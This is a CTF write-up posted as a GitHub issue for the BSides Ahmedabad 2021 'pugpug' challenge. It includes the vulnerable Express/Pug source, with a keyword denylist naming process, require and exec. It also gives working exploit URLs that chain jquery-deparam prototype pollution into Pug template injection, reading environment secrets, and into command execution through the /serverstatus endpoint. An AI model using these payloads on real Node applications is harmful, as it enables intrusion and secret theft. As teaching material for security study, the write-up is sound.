aszx87410 / ctf-writeups

ctf writeups

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

BSides Ahmedabad CTF 2021 - pugpug

aszx87410 opened this issue · comments

commented

Description

Here is the beta access to a interactive learning tool of my course

螢幕快照 2021-11-07 上午9 12 53

Source code

// index.js

const express = require('express');
const deparam = require('jquery-deparam');
const {template} = require('./util.js');
const pug = require('pug');
const child_process = require('child_process');


const app = express()
const port = 3000

app.set('view engine', 'pug')
//Configure server-staus options here
options = {args:["-eo", "cpu,args"], options:{"timeout":500} }
//I don't trust these modules
Object.seal && [ Object, Array, String, Number ].map( function( builtin ) { Object.seal( builtin.prototype ); } )
//I believe in Defense in Depth and I don't trust the code I write, so here is my waf
app.use((req, res, next) => {
	inp = decodeURIComponent(req.originalUrl)
	const denylist = ["%","(","global", "process","mainModule","require","child_process","exec","\"","'","!","`",":","-","_"];
	for(i=0;i<denylist.length; i++){
		if(inp.includes(denylist[i])){
			return res.send('request is blocked');
		}
	}

	next();
  });
  

app.get('/',(req,res) =>{
	var basic = {
		title: "Pug 101",
		head: "Welcome to Pug 101",
		name: "Guest"
	}
	var input = deparam(req.originalUrl.slice(2));
	if(input.name)
		basic.name = input.name.Safetify()
	if(input.head)
	    basic.head = input.head.Safetify()
	var content = input.content? input.content.Safetify() : ''
	var pugtmpl = template.replace('OUT',content)
	const compiledFunction = pug.compile(pugtmpl)
	res.send(compiledFunction(basic));
});

app.get('/serverstatus', (req, res) => {
	const result = child_process.spawnSync('ps' , options.args, options.options);
	out = result.stdout.toString();
	res.send(out)
})

app.listen(port, () => {
  console.log('started')
})
// util.js
//Copied from https://github.com/Spacebrew/spacebrew/blob/1d8fb258c04cfe65728ce32e0b198032f384d9c3/admin/js/utils.js
//static regex and function to replace all non-alphanumeric characters
//in a string with their unicode decimal surrounded by hyphens
//and a regex/function pair to do the reverse
String.SafetifyRegExp = new RegExp("([^a-zA-Z0-9 \r\n])","gi");
String.UnsafetifyRegExp = new RegExp("-(.*?)-","gi");
String.SafetifyFunc = function(match, capture, index, full){
    //my pug hates these characters
	return "b nyan "+capture.charCodeAt(0);
};
String.UnsafetifyFunc = function(match, capture, index, full){
	return String.fromCharCode(capture);
};

//create a String prototype function so we can do this directly on each string as
//"my cool string".Safetify()
String.prototype.Safetify = function(){
	return this.replace(String.SafetifyRegExp, String.SafetifyFunc);
};
String.prototype.Unsafetify = function(){
	return this.replace(String.UnsafetifyRegExp, String.UnsafetifyFunc);
};

//global functions so we can call ['hello','there'].map(Safetify)
Safetify = function(s){
	return s.Safetify();
};
Unsafetify = function(s){
	return s.Unsafetify();
};


var template = `
doctype html
html
   head
      title #{title}
      link(rel="stylesheet" href="https://unpkg.com/@picocss/pico@latest/css/pico.min.css")
   body
      h1 #{head}, #{name}
      p You can learn about Pug interactively on my brand new site!
      p Note: The pug features are limited, for more pug features you have to subscribe to my course which will be released soon.
      
      form(action='/', method='GET')
        p
        | name:                 
        input( name='name', value='Guest') 
        br
        | content:    
        textarea( name='content') b hello world
        input(type='submit', value='Submit')
      br
      p Rendered Output:
      OUT`

module.exports = {
    template: template
}

Writeup

I checked package.json and found jquery-deparam, so I think it's a challenge about prototype pollution.

But, the prototype has been sealed via Objec.seal:

Object.seal && [ Object, Array, String, Number ].map( function( builtin ) { Object.seal( builtin.prototype ); } )

So, our target is not Object.prototype, is String.SafetifyRegExp. We can pollute String.SafetifyRegExp to bypass SafetifyFunc.

Like this:

?a[b]=c&a[b][constructor][SafetifyRegExp]=9
// "c".constructor is String
// so String.SafetifyRegExp = '9'

We can use any characters now, and then we can leverage pug.compile to do SSTI.

global is blocked but we can use this instead, process also blocked so we need to find another way, I found that we can use options.args:

b hello world #{this[options.args[1][1]+options.args[1][5]+options.args[0][2]+options.args[1][0]+options.args[0][1]+options.args[1][7]+options.args[1][7]].env.FLAG} 

What if we couldn't find all the characters in options.args? We can pollute another property as well:

http://localhost:3000/?a[b]=c&a[b][constructor][SafetifyRegExp]=9&b[constructor][prototype][valueOf]=proces

b #{this[options.valueOf+options.valueOf[5]].env.FLAG} 

Just modify optinos if you need a RCE:

http://localhost:3000/?
a[b]=c&a[b][constructor][SafetifyRegExp]=9&
b[constructor][prototype][valueOf]=;env;

b #{options.options.shell=true} #{options.args[0]=options.valueOf}

Then vist /serverstatus to see the result

螢幕快照 2021-11-07 上午9 12 31